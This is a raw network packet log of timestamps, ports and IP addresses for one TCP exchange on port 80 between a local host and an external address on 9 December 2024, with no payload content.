Dec 9, 2024 21:09:52.500211000 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.500277996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.500282049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.500473022 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.500710964 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.500761986 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.500869036 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.500917912 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.501817942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.501966953 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.502867937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.502922058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.503011942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.503444910 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.503966093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.504204035 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.504229069 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.504271030 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.505033016 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.505079031 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.505475998 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.506133080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.506185055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.506226063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.506266117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.507201910 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.507247925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.507322073 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.507404089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.508260965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.508306980 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.508327007 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.508466959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.509342909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.509397984 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.509465933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.509531975 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.510425091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.510703087 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.510750055 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.511552095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.511595011 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.512005091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.512054920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.512603045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.512643099 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.513003111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.513726950 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.513832092 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.513859034 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.513870001 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.514924049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.514966965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.515386105 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.515871048 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.515918970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.516282082 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.516952991 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.516963959 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.517026901 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.517219067 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.518059015 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.518101931 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.518213987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.518361092 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.519141912 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.519186020 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.519591093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.519624949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.520231962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.520272970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.520469904 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.520512104 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.521302938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.521347046 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.522263050 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.522304058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.522351027 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.522361994 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.522401094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.523546934 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.523588896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.523685932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.523726940 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.524574041 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.524616957 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.524709940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.524775982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.525569916 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.525989056 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.526155949 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.526691914 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.527117968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.527144909 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.527164936 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.527806997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.527851105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.527930021 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.528083086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.528837919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.529002905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.529202938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.529350996 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.529990911 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.530417919 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.530628920 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.531055927 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.531199932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.532043934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.532130957 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.532279968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.532304049 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.532325029 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.533173084 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.533305883 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.533581018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.533617973 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.534322023 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.534372091 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.534393072 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.534569025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.535341024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.535387039 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.535466909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.535518885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.536428928 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.536473989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.536545992 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.536678076 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.537532091 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.537631989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.537663937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.537718058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.538661957 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.538711071 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.538846970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.539809942 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.539943933 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.540016890 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.540819883 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.540879011 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.540997982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.541043997 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.541831970 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.542026997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.542174101 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.542913914 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.543077946 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.543272018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.543342113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.543997049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.544248104 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.544320107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.545074940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.545212030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.545267105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.546200991 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.546667099 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.546726942 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.547225952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.547286987 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.547561884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.547892094 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.548373938 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.548566103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.548676014 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.549525976 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.549639940 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.549710989 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.550775051 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.550851107 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.551043034 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.551156998 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.551595926 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.551635981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.552047968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.552696943 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.552709103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.552745104 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.552755117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.554064035 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.554289103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.554335117 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.554869890 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.554915905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.555169106 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.555214882 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.556027889 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.556128025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.556406975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.556446075 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.556915045 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.556960106 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.694876909 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.694927931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.694981098 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.695023060 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.695364952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.695411921 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.695700884 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.695736885 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.696458101 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.696500063 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.697285891 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.697335958 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.697525978 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.697607040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.697880030 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.697918892 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.698637962 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.698724985 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.698936939 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.698985100 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.699676037 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.699731112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.699893951 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.699937105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.700771093 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.700823069 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.701041937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.701088905 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.701883078 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.701894999 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.701925993 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.701936960 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.702953100 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.703015089 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.703299046 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.703349113 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.704142094 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.704335928 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.704427004 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.704466105 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.705115080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.705203056 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.705450058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.705490112 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.706227064 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.706276894 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.706355095 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.706397057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.707252979 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.707289934 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.708426952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.708439112 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.708451033 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.708466053 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.708479881 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.708502054 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.709472895 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.709511995 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.709944010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.709980965 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.710521936 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.710563898 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.711204052 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.711258888 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.711596966 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.711633921 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.712688923 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.712712049 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.712727070 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.712728024 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.712748051 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.712764025 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.713772058 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.713819981 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.714131117 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.714169979 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.714899063 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.714989901 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.715132952 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.715745926 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.715919018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.716039896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.716289997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.716340065 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.717003107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.717039108 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.717201948 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.717282057 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.718199968 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.718209982 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.718235016 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.718257904 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.719300985 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.719413042 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.720309019 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.720321894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.720365047 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.720551968 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.720711946 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.720983982 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.721415997 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.721427917 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.721451044 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.721468925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.722531080 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.722572088 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.722675085 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.722712994 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.723603010 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.723644018 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.723792076 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.723851919 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.724622965 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.724677086 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.724963903 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.725009918 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.725718975 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.725778103 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.726341009 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.726594925 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.726774931 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.726819038 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.727205038 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.727247953 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.728044987 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.728086948 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.728216887 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.728293896 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.729101896 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.729154110 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.729240894 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.729331970 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.730181932 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.730226040 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.730729103 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.730766058 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.731308937 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.731359959 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.731434107 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.731473923 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.732139111 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.732194901 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.732278109 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.732340097 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.733335018 CET	80	49969	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:52.733371019 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:52.734035015 CET	80	49969	185.215.113.16	192.168.2.6
